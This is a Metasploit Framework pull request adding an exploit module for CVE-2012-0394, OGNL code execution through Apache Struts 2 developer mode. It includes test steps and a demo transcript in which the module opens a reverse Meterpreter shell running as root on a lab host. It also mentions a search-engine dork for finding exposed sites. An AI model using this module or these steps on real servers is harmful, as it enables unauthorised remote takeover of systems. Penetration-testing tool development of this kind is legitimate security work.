rapid7/metasploit-framework — pull request #2921 by jvazquez-r7 (2014-01-26 00:25:36+00:00)
Title: Add module for CVE-2012-0394

It's a two years old vulnerability, but the developer mode on struts 2 is allowing to evaluate arbitrary OGNL expressions still, as pointed here:

http://www.pwntester.com/blog/2014/01/21/struts-2-devmode/

The same blog points a google dork which gets a lot of more than probably struts 2 sites with debug mode enabled. So I guess the module can be interesting still :)

Verification
----------

- [ ] Install ubuntu 10.04 and Tomcat 7
- [ ] Download struts 2.3.16 (last version)
- [ ] Deploy the struts2-blank sample application, or any other struts 2 application! Just be sure it's running with developer mode enabled: http://struts.apache.org/release/2.3.x/docs/devmode.html
- [ ] run the msfconsole
- [ ] ```use exploit/multi/http/struts_dev_mode```
- [ ] ```set RHOST ```
- [ ] OPTIONAL: ```set RPORT```
- [ ] OPTIONAL: ```set TARGETURI``` (by default assumes the struts2-blank sample application)
- [ ] check
- [ ] exploit
- [ ] VERIFY check works as expected and you enjoy sessions, demo attached to easier the verfication

DEMO
--------

```
msf > use exploit/multi/http/struts_dev_mode
msf exploit(struts_dev_mode) > set rhost 192.168.172.134
rhost => 192.168.172.134
msf exploit(struts_dev_mode) > set rport 8080
rport => 8080
msf exploit(struts_dev_mode) > check
[+] 192.168.172.134:8080 - The target is vulnerable.
msf exploit(struts_dev_mode) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Sending stage (30355 bytes) to 192.168.172.134
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.134:50895) at 2014-01-25 18:22:20 -0600

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : ubuntu
OS : Linux 2.6.32-38-generic (i386)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.134 - Meterpreter session 1 closed. Reason: User exit
msf exploit(struts_dev_mode) > exit
```